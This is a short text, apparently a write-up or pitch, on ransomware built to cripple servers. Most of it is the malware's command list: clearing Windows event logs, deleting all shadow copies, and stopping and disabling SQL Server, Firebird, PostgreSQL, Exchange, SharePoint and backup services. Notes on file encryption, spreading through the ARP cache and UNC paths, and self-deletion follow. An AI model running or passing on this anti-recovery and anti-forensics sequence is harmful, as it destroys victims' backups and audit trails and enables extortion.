
RANSOMWARE DESIGNED FOR SERVER DESTRUCTION

 wevtutil cl Application 
 wevtutil cl security 
 wevtutil cl setup 
 wevtutil cl system 
 vssadmin.exe Delete Shadows /All /Quiet 
 WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%SQL%'' CALL STOPSERVIC 
 WMIC SERVICE WHERE 'caption LIKE '%Exchange%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%wsbex%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%postgresql%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%BACKP%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%tomcat%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%SharePoint%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%SBS%'' CALL STOPSERVICE 
 WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%SQL%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%Exchange%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%wsbex%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%postgresql%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%BACKP%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%tomcat%'' CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%SharePoint%'CALL  ChangeStartMode 'Disabled' 
 WMIC SERVICE WHERE 'caption LIKE '%SBS%'' CALL  ChangeStartMode 'Disabled' 
 sc config FirebirdServerDefaultInstance start= disabled 
 sc config FirebirdServerDefaultInstance start= disabled 
 taskkill /IM fb_inet_server.exe /F 
 taskkill /IM fb_inet_server.exe /F 
 net stop FirebirdServerDefaultInstance 
 C:\Windows\system32\net1 stop FirebirdServerDefaultInstance 
 taskkill /IM sqlservr.exe /F 
 sc config MSSQLSERVER start= disabled 
 sc config MSSQL$SQLEXPRESS start= disabled 
 net stop MSSQLSERVER 
 C:\Windows\system32\net1 stop MSSQLSERVER 
 net stop MSSQL$SQLEXPRESS 
 net stop MSSQL$SQLEXPRESS 
 C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS 
 taskkill /IM pg_ctl.exe /F 
 sc config postgresql-9.0 start= disabled 
 net stop  postgresql-9.0 
 sc config MSExchangeAB start= disabled 
 sc config MSExchangeAntispamUpdate start= disabled 
 sc config MSExchangeEdgeSync start= disabled 
 sc config MSExchangeFDS start= disabled 
 sc config MSExchangeFBA start= disabled 
 sc config MSExchangeImap4 start= disabled 
 sc config MSExchangeImap4 start= disabled 
 sc config MSExchangeIS start= disabled 
 sc config MSExchangeMailSubmission start= disabled 
 sc config MSExchangeMailboxAssistants start= disabled 
 sc config MSExchangeMailboxReplication start= disabled 
 sc config MSExchangeMonitoring start= disabled 
 sc config MSExchangePop3 start= disabled 
 sc config MSExchangeProtectedServiceHost start= disabled 
 sc config MSExchangeRPC start= disabled 
 sc config MSExchangeSearch start= disable 
 sc config wsbexchange start= disabled 
 sc config MSExchangeSA start= disabled 
 sc config MSExchangeThrottling start= disabled 
 sc config MSExchangeTransportLogSearch start= disabled 
 net stop MSExchangeAB 
 net stop MSExchangeAntispamUpdate 
 net stop MSExchangeEdgeSync 
 net stop MSExchangeImap4 
 net stop MSExchangeMailboxReplication 
 net stop MSExchangeProtectedServiceHost 

Designed to destroy and encrypt servers.  
On a workstation it encrypts ONLY 
Stop All the important services on a server machine (Shown below in red) 
Encrypts files 
Deletes shadow copies 
Tries to connect to other machines via ARP cache and UNC path 

                    FUNCTION(BUFFER, u"UNC\%d.%d.%d.%d\%S", FUNC_2() & 0xff); 
Moves to other machines and do the same 
Stops the payload and delete itself by calling a selfDestruct function
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